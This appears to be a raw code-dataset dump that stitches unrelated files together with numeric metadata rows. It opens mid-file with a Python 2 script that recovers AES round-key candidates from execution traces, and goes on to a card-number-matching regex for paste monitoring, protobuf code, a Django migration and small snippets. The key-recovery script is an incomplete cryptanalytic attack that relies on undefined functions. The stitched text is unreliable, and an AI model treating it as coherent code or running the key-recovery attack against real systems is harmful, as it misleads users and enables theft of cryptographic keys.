[17, 23, 39, 59, 13, 35, 37, 61, 6, 22, 36, 0, 13, 26, 47, 4],
[11, 27, 50, 55, 18, 31, 40, 56, 16, 21, 45, 57, 18, 30, 39, 58],
[13, 27, 42, 2, 4, 35, 44, 2, 9, 35, 38, 56, 13, 35, 45, 1],
[39, 58, 13, 32, 41, 53, 8, 28, 41, 59, 9, 34, 49, 3, 12, 29],
]
round_keys = [
0x45, 0x69, 0x58, 0x3e,
0x36, 0x75, 0x37, 0x6b,
0x5d, 0x42, 0x67, 0x2c,
0x76, 0x75, 0x63, 0x33,
0xd9, 0x92, 0x9b, 0x6,
0xef, 0xe7, 0xac, 0x6d,
0xb2, 0xa5, 0xcb, 0x41,
0xc4, 0xd0, 0xa8, 0x72,
]
def check_possible_keys(w):
for i in xrange(0, 8):
for j in xrange(4):
f = False
for v in w[i][j]:
if v == round_keys[i * 4 + j]:
f = True
print 'cool!', i, j, hex(v)
break
if not f:
print 'ooooooops!', i, j
k0 = [None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None]
for i in xrange(0, 16, 4):
x, y, vals = get_T_list(round_traces[0][i])
k0[(i*5) % 16] = x >> 4
x, y, vals = get_T_list(round_traces[0][i+1])
k0[((i+1)*5) % 16] = x >> 4
x, y, vals = get_T_list(round_traces[0][i+2])
k0[((i+2)*5) % 16] = x >> 4
x, y, vals = get_T_list(round_traces[0][i+3])
k0[((i+3)*5) % 16] = x >> 4
k1 = [None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None]
for i in xrange(0, 16, 4):
x, y, vals = get_T_list(round_traces2[0][i])
k1[(i*5) % 16] = (k0[(i*5) % 16] << 1) | (x >> 5)
x, y, vals = get_T_list(round_traces2[0][i+1])
k1[((i+1)*5) % 16] = (k0[((i+1)*5) % 16] << 1) | (x >> 5)
x, y, vals = get_T_list(round_traces2[0][i+2])
k1[((i+2)*5) % 16] = (k0[((i+2)*5) % 16] << 1) | (x >> 5)
x, y, vals = get_T_list(round_traces2[0][i+3])
k1[((i+3)*5) % 16] = (k0[((i+3)*5) % 16] << 1) | (x >> 5)
for v in k1:
print "%s,"%(bin(v << 3)),
print
w_nibbles = [k1[0:4], k1[4:8], k1[8:12], k1[12:]]
#print map(bin, k1)
#for s in "EiX>6u7k]Bg,vuc3":
# print bin(ord(s) >> 3),
"""
Round 0 Key Generation
"""
w = [
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]]
]
for k in xrange(4):
for i in xrange(4):
for j in xrange(8):
w[k][i].append((w_nibbles[k][i] << 3) + j)
"""
Round 1 Key Generation
"""
for c in xrange(4, 8):
if c % 4 == 0:
g_w = [[],[],[],[]]
for i in xrange(8):
g_w[0].append((Te2[w[c-1][1][i]] >> 24) ^ 0x1)
g_w[1].append((Te3[w[c-1][2][i]] >> 16) & 0xff)
g_w[2].append((Te0[w[c-1][3][i]] >> 8) & 0xff)
g_w[3].append((Te1[w[c-1][0][i]] ) & 0xff)
prev = g_w
else:
prev = w[c-1]
w.append([pow(2, 12)*[None], pow(2, 12)*[None], pow(2, 12)*[None], pow(2, 12)*[None]])
for i in xrange(4):
counter = 0
for j in xrange(len(w[c-4][i])):
for k in xrange(len(prev[i])):
z = w[c-4][i][j] ^ prev[i][k]
w[c][i][counter] = z
counter += 1
w[c][i] = filter(lambda _: _ != None, list(set(w[c][i])))
t = []
"""
Round 1 t union candidates
"""
for c in xrange(0, 16, 4):
t.append([])
x0, y0, _0 = get_T_list(round_traces[0][c])
x1, y1, _1 = get_T_list(round_traces[0][c+1])
x2, y2, _2 = get_T_list(round_traces[0][c+2])
x3, y3, _3 = get_T_list(round_traces[0][c+3])
temp_0 = pow(2, 16) * [None]
counter = 0
for i in xrange(x0, y0):
for j in xrange(x1, y1):
for k in xrange(x2, y2):
for l in xrange(x3, y3):
z = Te0[i] ^ Te1[j] ^ Te2[k] ^ Te3[l]
temp_0[counter] = (z, i, j, k, l)
counter += 1
t[c/4] = list(set(temp_0))
'''
t_perm = [(0, 0), (1, 1), (2, 2), (3, 3),
(1, 0), (2, 1), (3, 2), (0, 3),
(2, 0), (3, 1), (0, 2), (1, 3),
(3, 0), (0, 1), (1, 2), (2, 3)]
t_b = []
for c in xrange(16):
k_i, k_b = t_perm[c]
t_b.append(256*256*[None])
counter = 0
x, y, vals = get_T_list(round_traces[1][c])
for i in xrange(len(w[k_i + 4][k_b])):
for j in xrange(x, y):
t_b[c][counter] = w[k_i + 4][k_b][i] ^ j
counter += 1
t_b[c] = filter(lambda _: _ != None, list(set(t_b[c])))
print 't_b', c, len(t_b[c])
'''
"""
Round 1 t union backward XOR reduction
"""
for b in xrange(4):
print "s0 --------------"
for c in xrange(4):
_c = (c + b) % 4
print "t%s before:"%(_c), len(t[_c]), ",",
x, y, vals = get_T_list(round_traces[1][c+(b*4)])
temp_0 = 16 * len(w[_c+4][c]) * [None]
counter = 0
for i in xrange(x, y):
for j in xrange(len(w[_c+4][c])):
temp_0[counter] = w[_c+4][c][j] ^ i
counter += 1
temp_0 = list(set(temp_0))
temp_1 = len(t[_c]) * [None]
counter = 0
for i in xrange(len(t[_c])):
for j in xrange(len(temp_0)):
z = t[_c][i][0]
if (z >> ((3 - c) * 8) & 0xff) == temp_0[j]:
# if (z >> ((c) * 8) & 0xff) == temp_0[j]:
temp_1[counter] = (z, t[_c][i][1], t[_c][i][2], t[_c][i][3], t[_c][i][4])
counter += 1
break
t[_c] = filter(lambda _: _ != None, list(set(temp_1)))
print "t%s after:"%(_c), len(t[_c])
for c in xrange(4):
e0_c = len(t[c]) * [None]
e1_c = len(t[c]) * [None]
e2_c = len(t[c]) * [None]
e3_c = len(t[c]) * [None]
counter = 0
for i in xrange(len(t[c])):
e0_c[counter] = t[c][i][1]
e1_c[counter] = t[c][i][2]
e2_c[counter] = t[c][i][3]
e3_c[counter] = t[c][i][4]
counter += 1
e0_c = filter(lambda _: _ != None, list(set(e0_c)))
e1_c = filter(lambda _: _ != None, list(set(e1_c)))
e2_c = filter(lambda _: _ != None, list(set(e2_c)))
e3_c = filter(lambda _: _ != None, list(set(e3_c)))
print map(hex, e0_c)
print map(hex, e1_c)
print map(hex, e2_c)
print map(hex, e3_c)
print '--------------------------------------------------------'
check_possible_keys(w)
"""
Round 1 w keys forward XOR reduction
"""
t_b = []
for c in xrange(4):
t_b.append([len(t[c]) * [None], len(t[c]) * [None], len(t[c]) * [None], len(t[c]) * [None]])
counter = 0
for v in t[c]:
for j in xrange(4):
t_b[c][j][counter] = (v[0] >> ((3 - j) * 8)) & 0xff
# t_b[c][j][counter] = (v[0] >> ((j) * 8)) & 0xff
counter += 1
for j in xrange(4):
t_b[c][j] = list(set(t_b[c][j]))
for i in xrange(len(t_b)):
for j in xrange(len(t_b[i])):
print len(t_b[i][j])
t_perm = [(0, 0), (1, 1), (2, 2), (3, 3),
(1, 0), (2, 1), (3, 2), (0, 3),
(2, 0), (3, 1), (0, 2), (1, 3),
(3, 0), (0, 1), (1, 2), (2, 3)]
for c in xrange(16):
x, y, vals = get_T_list(round_traces[1][c])
new_w = []
p = t_perm[c]
for v in t_b[p[0]][p[1]]:
for v2 in w[p[0]+4][p[1]]:
z = v ^ v2
if z >> 4 == x >> 4:
new_w.append(v2)
new_w = list(set(new_w))
w[p[0]+4][p[1]] = new_w
print p[0]+4, p[1], len(new_w)
"""
Test if the round key is part of the possible candidates 2
"""
print '--------------------------------------------------------'
check_possible_keys(w)
def reduce_w(a, b, c):
for i in xrange(4):
temp_0 = 256 * 256 * [None]
counter = 0
for v in w[a][i]:
for v2 in w[b][i]:
z = v ^ v2
temp_0[counter] = z
counter += 1
temp_0 = filter(lambda _: _ != None, list(set(temp_0)))
temp_1 = []
for v in w[c][i]:
for v2 in temp_0:
if v == v2:
temp_1.append(v)
w[c][i] = temp_1
for i in xrange(10):
reduce_w(7, 3, 6)
reduce_w(6, 3, 7)
reduce_w(6, 2, 5)
reduce_w(5, 2, 6)
reduce_w(5, 1, 4)
reduce_w(4, 1, 5)
reduce_w(6, 3, 7)
reduce_w(7, 3, 6)
reduce_w(5, 2, 6)
reduce_w(6, 2, 5)
reduce_w(4, 1, 5)
reduce_w(5, 1, 4)
for i in xrange(8):
for j in xrange(4):
print "w%d b%d"%(i, j), len(w[i][j])
print '--------------------------------------------------------'
check_possible_keys(w)
'''
for i in xrange(8):
print i, '------------------------------------'
for j in xrange(4):
print j, '..........................'
for k in xrange(len(w[i][j])):
print "{0:08b}".format(w[i][j][k])
'''
'''
x, y, vals = get_T_list(round_traces[1][1])
new_w_4_1 = []
for v in t_b[1][1]:
for v2 in w[4][1]:
z = v ^ v2
if z >= x and z < y:
new_w_4_1.append(v2)
new_w_4_1 = list(set(new_w_4_1))
print len(w[4][1]), len(new_w_4_1)
x, y, vals = get_T_list(round_traces[1][2])
new_w_4_2 = []
for v in t_b[2][2]:
for v2 in w[4][2]:
z = v ^ v2
if z >= x and z < y:
new_w_4_2.append(v2)
new_w_4_2 = list(set(new_w_4_2))
print len(w[4][2]), len(new_w_4_2)
'''
'''
for i in xrange(8):
print 'w%s'%(i),
for j in xrange(4):
print len(w[i][j]), "{0:04b}xxxx".format(w[i][j][0] >> 4),
print
'''
'''
x, y, vals = get_T_list(round_traces[1][0])
keys = []
for i in xrange(len(t[0])):
for j in xrange(len(w[4][0])):
z = t[0][i] ^ w[4][0][j]
if z >= x and z < y:
try:
keys.index(w[4][0][j])
except:
keys.append(w[4][0][j])
'''
#print len(keys)
#print len(w[4][0])
#print len(w[4][3])
'''
for c in xrange(4):
for i in xrange(len(t[c])):
for j in xrange(len(t[c][i])):
x = t[c][i][j]
t[c][i][j] = x >> 24, (x >> 16) & 0xff, (x >> 8) & 0xff, x & 0xff
temp_0 = [[],[],[],[]]
for i in xrange(len(t[c][0])):
for j in xrange(len(t[c][1])):
for k in xrange(4):
z = t[c][0][i][k] ^ t[c][1][j][k]
try:
temp_0[k].index(z)
except:
temp_0[k].append(z)
temp_1 = [[],[],[],[]]
for i in xrange(len(t[c][2])):
for j in xrange(len(t[c][3])):
for k in xrange(4):
z = t[c][2][i][k] ^ t[c][3][j][k]
try:
temp_1[k].index(z)
except:
temp_1[k].append(z)
temp_2 = [[], [], [], []]
for i in xrange(len(temp_0)):
for j in xrange(len(temp_0[i])):
for k in xrange(len(temp_1[i])):
z = temp_0[i][j] ^ temp_1[i][k]
try:
temp_2[i].index(z)
except:
temp_2[i].append(z)
temp_2[i] = tuple(temp_2[i])
t[c] = tuple(temp_2)
'''
'''
w = []
for i in xrange(4):
temp_0 = pow(16, 1) * [None]
c = 0
for k in xrange(16):
z = (w_nibbles[i][0] << 4) + k
temp_0[c] = z << 8
c+=1
temp_1 = pow(16, 2) * [None]
c = 0
for k in xrange(16):
for l in xrange(16):
z = (w_nibbles[i][1] << 4) + k + temp_0[l]
temp_1[c] = z << 8
c += 1
temp_0 = pow(16, 3) * [None]
c = 0
for k in xrange(16):
for l in xrange(len(temp_1)):
z = (w_nibbles[i][2] << 4) + k + temp_1[l]
temp_0[c] = z << 8
c += 1
temp_1 = pow(16, 4) * [None]
c = 0
for k in xrange(16):
for l in xrange(len(temp_0)):
z = (w_nibbles[i][3] << 4) + k + temp_0[l]
temp_1[c] = z
c += 1
w.append(temp_1)
rcon_1 = 0x1
for i in xrange(4, 8):
if i % 4 == 0:
g_w = len(w[i-1]) * [None]
c = 0
for v in w[i-1]:
g_w[c] = ((v & 0xff) << 24) + (v >> 8) # rotate 32 bit key
_0 = sbox[g_w[c] >> 24] ^ rcon_1 # sbox replacement
_1 = sbox[g_w[c] >> 16 & 0xff]
_2 = sbox[g_w[c] >> 8 & 0xff]
_3 = sbox[g_w[c] & 0xff]
g_w[c] = (_0 << 24) + (_1 << 16) + (_2 << 8) + (_3)
c += 1
prev = g_w
#print set(prev)
else:
None
#prev = w[i-1]
'''
| 34.703474
| 107
| 0.622144
| 3,845
| 27,971
| 4.448635
| 0.381274
| 0.030868
| 0.019643
| 0.02432
| 0.175621
| 0.136919
| 0.106343
| 0.078457
| 0.06729
| 0.055247
| 0
| 0.371637
| 0.217225
| 27,971
| 805
| 108
| 34.746584
| 0.409591
| 0.013049
| 0
| 0.114878
| 0
| 0
| 0.009888
| 0.00716
| 0
| 0
| 0.486468
| 0
| 0
| 0
| null | null | 0
| 0.001883
| null | null | 0.032015
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
d7de3cf855357e8bde2d211d1e9f867741161e73
| 500
|
py
|
Python
|
analyzers/creditcardanalyzer.py
|
Double-A-92/pastepwn
|
d2074650e2b480e4951cb4cb7a0b9b8e671e25e6
|
[
"MIT"
] | null | null | null |
analyzers/creditcardanalyzer.py
|
Double-A-92/pastepwn
|
d2074650e2b480e4951cb4cb7a0b9b8e671e25e6
|
[
"MIT"
] | null | null | null |
analyzers/creditcardanalyzer.py
|
Double-A-92/pastepwn
|
d2074650e2b480e4951cb4cb7a0b9b8e671e25e6
|
[
"MIT"
] | 1
|
2019-10-06T12:41:58.000Z
|
2019-10-06T12:41:58.000Z
|
# -*- coding: utf-8 -*-
from .regexanalyzer import RegexAnalyzer
class CreditCardAnalyzer(RegexAnalyzer):
def __init__(self, action):
# Regex taken from https://www.regular-expressions.info/creditcard.html
regex = "^4[0-9]{12}(?:[0-9]{3})?$|^3[47][0-9]{13}$|^(?:5[1-5][0-9]{2}|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[01][0-9]|2720)[0-9]{12}$|^3(?:0[0-5]|[68][0-9])[0-9]{11}$|^6(?:011|5[0-9]{2})[0-9]{12}|^(?:2131|1800|35\d{3})\d{11}$"
super().__init__(action, regex)
| 41.666667
| 236
| 0.562
| 95
| 500
| 2.873684
| 0.473684
| 0.087912
| 0.043956
| 0.029304
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.20316
| 0.114
| 500
| 11
| 237
| 45.454545
| 0.413093
| 0.182
| 0
| 0
| 0
| 0.2
| 0.538272
| 0.538272
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.2
| 0
| 0.6
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
d7e149bb526e6f4ca62ddf69883cc92eb79d6639
| 4,705
|
py
|
Python
|
protos/metrics_pb2.py
|
chalant/pluto
|
e7bfd35a2c1fc0e0753bd2f840b0a4385b5124fc
|
[
"Apache-2.0"
] | null | null | null |
protos/metrics_pb2.py
|
chalant/pluto
|
e7bfd35a2c1fc0e0753bd2f840b0a4385b5124fc
|
[
"Apache-2.0"
] | null | null | null |
protos/metrics_pb2.py
|
chalant/pluto
|
e7bfd35a2c1fc0e0753bd2f840b0a4385b5124fc
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: protos/metrics.proto
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
from google.protobuf import timestamp_pb2 as google_dot_protobuf_dot_timestamp__pb2
from protos import finance_pb2 as protos_dot_finance__pb2
from protos import protocol_pb2 as protos_dot_protocol__pb2
DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x14protos/metrics.proto\x1a\x1fgoogle/protobuf/timestamp.proto\x1a\x14protos/finance.proto\x1a\x15protos/protocol.proto\"\x82\x04\n\x11\x43umulativeMetrics\x12/\n\x0bperiod_open\x18\x01 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x30\n\x0cperiod_close\x18\x02 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x0f\n\x07returns\x18\x03 \x01(\x02\x12\x0b\n\x03pnl\x18\x04 \x01(\x02\x12\x14\n\x0c\x63\x61pital_used\x18\x05 \x01(\x02\x12\x19\n\x11starting_exposure\x18\x06 \x01(\x02\x12\x17\n\x0f\x65nding_exposure\x18\x07 \x01(\x02\x12\x16\n\x0estarting_value\x18\x08 \x01(\x02\x12\x14\n\x0c\x65nding_value\x18\t \x01(\x02\x12\x15\n\rstarting_cash\x18\n \x01(\x02\x12\x13\n\x0b\x65nding_cash\x18\x0b \x01(\x02\x12\x17\n\x0fportfolio_value\x18\x14 \x01(\x02\x12\x13\n\x0blongs_count\x18\x0c \x01(\x03\x12\x14\n\x0cshorts_count\x18\r \x01(\x03\x12\x12\n\nlong_value\x18\x0e \x01(\x02\x12\x13\n\x0bshort_value\x18\x0f \x01(\x02\x12\x15\n\rlong_exposure\x18\x10 \x01(\x02\x12\x16\n\x0eshort_exposure\x18\x11 \x01(\x02\x12\x16\n\x0egross_leverage\x18\x12 \x01(\x02\x12\x14\n\x0cnet_leverage\x18\x13 \x01(\x02\"\xe3\x02\n\rPeriodMetrics\x12\x16\n\x06orders\x18\x01 \x03(\x0b\x32\x06.Order\x12\"\n\x0ctransactions\x18\x02 \x03(\x0b\x32\x0c.Transaction\x12\x1c\n\tpositions\x18\x03 \x03(\x0b\x32\t.Position\x12/\n\x0bperiod_open\x18\x04 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x30\n\x0cperiod_close\x18\x05 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x14\n\x0c\x63\x61pital_used\x18\x06 \x01(\x02\x12\x19\n\x11starting_exposure\x18\x07 \x01(\x02\x12\x17\n\x0f\x65nding_exposure\x18\x08 \x01(\x02\x12\x16\n\x0estarting_value\x18\t \x01(\x02\x12\x15\n\rstarting_cash\x18\n \x01(\x02\x12\x0f\n\x07returns\x18\x0b \x01(\x02\x12\x0b\n\x03pnl\x18\x0c \x01(\x02\"\xdd\x02\n\x15\x43umulativeRiskMetrics\x12\x17\n\x0f\x61lgo_volatility\x18\x01 \x01(\x02\x12\x1f\n\x17\x62\x65nchmark_period_return\x18\x02 \x01(\x02\x12\x1c\n\x14\x62\x65nchmark_volatility\x18\x03 \x01(\x02\x12\x1f\n\x17\x61lgorithm_period_return\x18\x04 \x01(\x02\x12\r\n\x05\x61lpha\x18\x05 \x01(\x02\x12\x0c\n\x04\x62\x65ta\x18\x06 \x01(\x02\x12\x0e\n\x06sharpe\x18\x07 \x01(\x02\x12\x0f\n\x07sortino\x18\x08 \x01(\x02\x12\x14\n\x0cmax_drawdown\x18\t \x01(\x02\x12\x14\n\x0cmax_leverage\x18\n \x01(\x02\x12\x14\n\x0ctrading_days\x18\x0b \x01(\x05\x12\x14\n\x0cperiod_label\x18\x0c \x01(\t\x12\x15\n\rexcess_return\x18\r \x01(\x02\x12\x1e\n\x16treasury_period_return\x18\x0e \x01(\x02\x62\x06proto3')
_CUMULATIVEMETRICS = DESCRIPTOR.message_types_by_name['CumulativeMetrics']
_PERIODMETRICS = DESCRIPTOR.message_types_by_name['PeriodMetrics']
_CUMULATIVERISKMETRICS = DESCRIPTOR.message_types_by_name['CumulativeRiskMetrics']
CumulativeMetrics = _reflection.GeneratedProtocolMessageType('CumulativeMetrics', (_message.Message,), {
'DESCRIPTOR' : _CUMULATIVEMETRICS,
'__module__' : 'protos.metrics_pb2'
# @@protoc_insertion_point(class_scope:CumulativeMetrics)
})
_sym_db.RegisterMessage(CumulativeMetrics)
PeriodMetrics = _reflection.GeneratedProtocolMessageType('PeriodMetrics', (_message.Message,), {
'DESCRIPTOR' : _PERIODMETRICS,
'__module__' : 'protos.metrics_pb2'
# @@protoc_insertion_point(class_scope:PeriodMetrics)
})
_sym_db.RegisterMessage(PeriodMetrics)
CumulativeRiskMetrics = _reflection.GeneratedProtocolMessageType('CumulativeRiskMetrics', (_message.Message,), {
'DESCRIPTOR' : _CUMULATIVERISKMETRICS,
'__module__' : 'protos.metrics_pb2'
# @@protoc_insertion_point(class_scope:CumulativeRiskMetrics)
})
_sym_db.RegisterMessage(CumulativeRiskMetrics)
if _descriptor._USE_C_DESCRIPTORS == False:
DESCRIPTOR._options = None
_CUMULATIVEMETRICS._serialized_start=103
_CUMULATIVEMETRICS._serialized_end=617
_PERIODMETRICS._serialized_start=620
_PERIODMETRICS._serialized_end=975
_CUMULATIVERISKMETRICS._serialized_start=978
_CUMULATIVERISKMETRICS._serialized_end=1327
# @@protoc_insertion_point(module_scope)
| 81.12069
| 2,525
| 0.802125
| 714
| 4,705
| 5.077031
| 0.222689
| 0.057931
| 0.079448
| 0.039724
| 0.354483
| 0.233379
| 0.213517
| 0.191724
| 0.121379
| 0.059034
| 0
| 0.149966
| 0.05186
| 4,705
| 57
| 2,526
| 82.54386
| 0.662632
| 0.080978
| 0
| 0.166667
| 1
| 0.027778
| 0.621434
| 0.570401
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.222222
| 0
| 0.222222
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
d7ef24bd5d42624b83cc2edccfe8af9925b19dee
| 175
|
py
|
Python
|
Codeforces/324 Division 2/Problem E/gen.py
|
VastoLorde95/Competitive-Programming
|
6c990656178fb0cd33354cbe5508164207012f24
|
[
"MIT"
] | 170
|
2017-07-25T14:47:29.000Z
|
2022-01-26T19:16:31.000Z
|
Codeforces/324 Division 2/Problem E/gen.py
|
navodit15/Competitive-Programming
|
6c990656178fb0cd33354cbe5508164207012f24
|
[
"MIT"
] | null | null | null |
Codeforces/324 Division 2/Problem E/gen.py
|
navodit15/Competitive-Programming
|
6c990656178fb0cd33354cbe5508164207012f24
|
[
"MIT"
] | 55
|
2017-07-28T06:17:33.000Z
|
2021-10-31T03:06:22.000Z
|
from random import *
import numpy
N = 10
a = numpy.random.permutation(N)
b = numpy.random.permutation(N)
print N
for i in a:
print i+1,
print
for i in b:
print i+1,
print
| 11.666667
| 31
| 0.697143
| 35
| 175
| 3.485714
| 0.4
| 0.180328
| 0.360656
| 0.377049
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.028571
| 0.2
| 175
| 14
| 32
| 12.5
| 0.842857
| 0
| 0
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.166667
| null | null | 0.416667
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
d7f9965949a8619e71f6d231b6be7151e113cd55
| 106
|
py
|
Python
|
project1/testmode1.py
|
fhqjgd/python2.7
|
6533019b8b2fbe113aa552e44247c054bdd8a75b
|
[
"bzip2-1.0.6"
] | null | null | null |
project1/testmode1.py
|
fhqjgd/python2.7
|
6533019b8b2fbe113aa552e44247c054bdd8a75b
|
[
"bzip2-1.0.6"
] | null | null | null |
project1/testmode1.py
|
fhqjgd/python2.7
|
6533019b8b2fbe113aa552e44247c054bdd8a75b
|
[
"bzip2-1.0.6"
] | null | null | null |
import requests
r = requests.get('http://bbs.8080.net')
print type(r)
print r.status_code
print r.encoding
| 21.2
| 39
| 0.764151
| 19
| 106
| 4.210526
| 0.684211
| 0.15
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.041667
| 0.09434
| 106
| 5
| 40
| 21.2
| 0.791667
| 0
| 0
| 0
| 0
| 0
| 0.17757
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.2
| null | null | 0.6
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
cc0c384d2f2bbaa1b19f89c4bfd8032a8c41c5bb
| 182
|
py
|
Python
|
olx/spiders/items.py
|
alissongranemann/real-state-scrapper
|
6ae3f57d6965bb8275501102d10b24e28408a9cd
|
[
"Apache-2.0"
] | null | null | null |
olx/spiders/items.py
|
alissongranemann/real-state-scrapper
|
6ae3f57d6965bb8275501102d10b24e28408a9cd
|
[
"Apache-2.0"
] | 4
|
2019-12-22T05:18:22.000Z
|
2022-03-02T15:07:44.000Z
|
olx/spiders/items.py
|
alissongranemann/real-estate-scrapper
|
6ae3f57d6965bb8275501102d10b24e28408a9cd
|
[
"Apache-2.0"
] | null | null | null |
import scrapy
class Property(scrapy.Item):
# id = scrapy.Field()
price = scrapy.Field()
area = scrapy.Field()
postal_code = scrapy.Field()
url = scrapy.Field()
| 18.2
| 32
| 0.631868
| 22
| 182
| 5.181818
| 0.545455
| 0.482456
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.230769
| 182
| 9
| 33
| 20.222222
| 0.814286
| 0.104396
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.166667
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
0be2a5cab54ebb04236ed8940a0a00b3699b7651
| 437
|
py
|
Python
|
casepro/cases/migrations/0024_label_migrate_pt3.py
|
rapidpro/ureport-partners
|
16e5b95eae36ecbbe8ab2a59f34a2f5fd32ceacd
|
[
"BSD-3-Clause"
] | 21
|
2015-07-21T15:57:49.000Z
|
2021-11-04T18:26:35.000Z
|
casepro/cases/migrations/0024_label_migrate_pt3.py
|
rapidpro/ureport-partners
|
16e5b95eae36ecbbe8ab2a59f34a2f5fd32ceacd
|
[
"BSD-3-Clause"
] | 357
|
2015-05-22T07:26:45.000Z
|
2022-03-12T01:08:28.000Z
|
casepro/cases/migrations/0024_label_migrate_pt3.py
|
rapidpro/ureport-partners
|
16e5b95eae36ecbbe8ab2a59f34a2f5fd32ceacd
|
[
"BSD-3-Clause"
] | 24
|
2015-05-28T12:30:25.000Z
|
2021-11-19T01:57:38.000Z
|
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [("cases", "0023_label_migrate_pt2")]
operations = [
migrations.RemoveField(model_name="case", name="labels"),
migrations.RemoveField(model_name="caseaction", name="label"),
migrations.RemoveField(model_name="label", name="partners"),
]
| 27.3125
| 70
| 0.697941
| 46
| 437
| 6.391304
| 0.608696
| 0.214286
| 0.265306
| 0.306122
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.016393
| 0.162471
| 437
| 15
| 71
| 29.133333
| 0.786885
| 0.048055
| 0
| 0
| 0
| 0
| 0.157005
| 0.05314
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.222222
| 0
| 0.555556
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
040675b0eca424def61a6f6ed2591ce8c5ba73af
| 101
|
py
|
Python
|
recommendations/pakencamp_2020_day1_j.py
|
takelifetime/competitive-programming
|
e7cf8ef923ccefad39a1727ca94c610d650fcb76
|
[
"BSD-2-Clause"
] | null | null | null |
recommendations/pakencamp_2020_day1_j.py
|
takelifetime/competitive-programming
|
e7cf8ef923ccefad39a1727ca94c610d650fcb76
|
[
"BSD-2-Clause"
] | 1
|
2021-01-02T06:36:51.000Z
|
2021-01-02T06:36:51.000Z
|
recommendations/pakencamp_2020_day1_j.py
|
takelifetime/competitive-programming
|
e7cf8ef923ccefad39a1727ca94c610d650fcb76
|
[
"BSD-2-Clause"
] | null | null | null |
#for m in range(10**5):m=m*2+5;print(4*m,m*m-4,m*m+4)
i=0
while i<2e5:i+=2;print(m:=i*4,m*i-1,m*i+1)
| 25.25
| 53
| 0.574257
| 36
| 101
| 1.611111
| 0.388889
| 0.137931
| 0.103448
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.159574
| 0.069307
| 101
| 3
| 54
| 33.666667
| 0.457447
| 0.514851
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.5
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
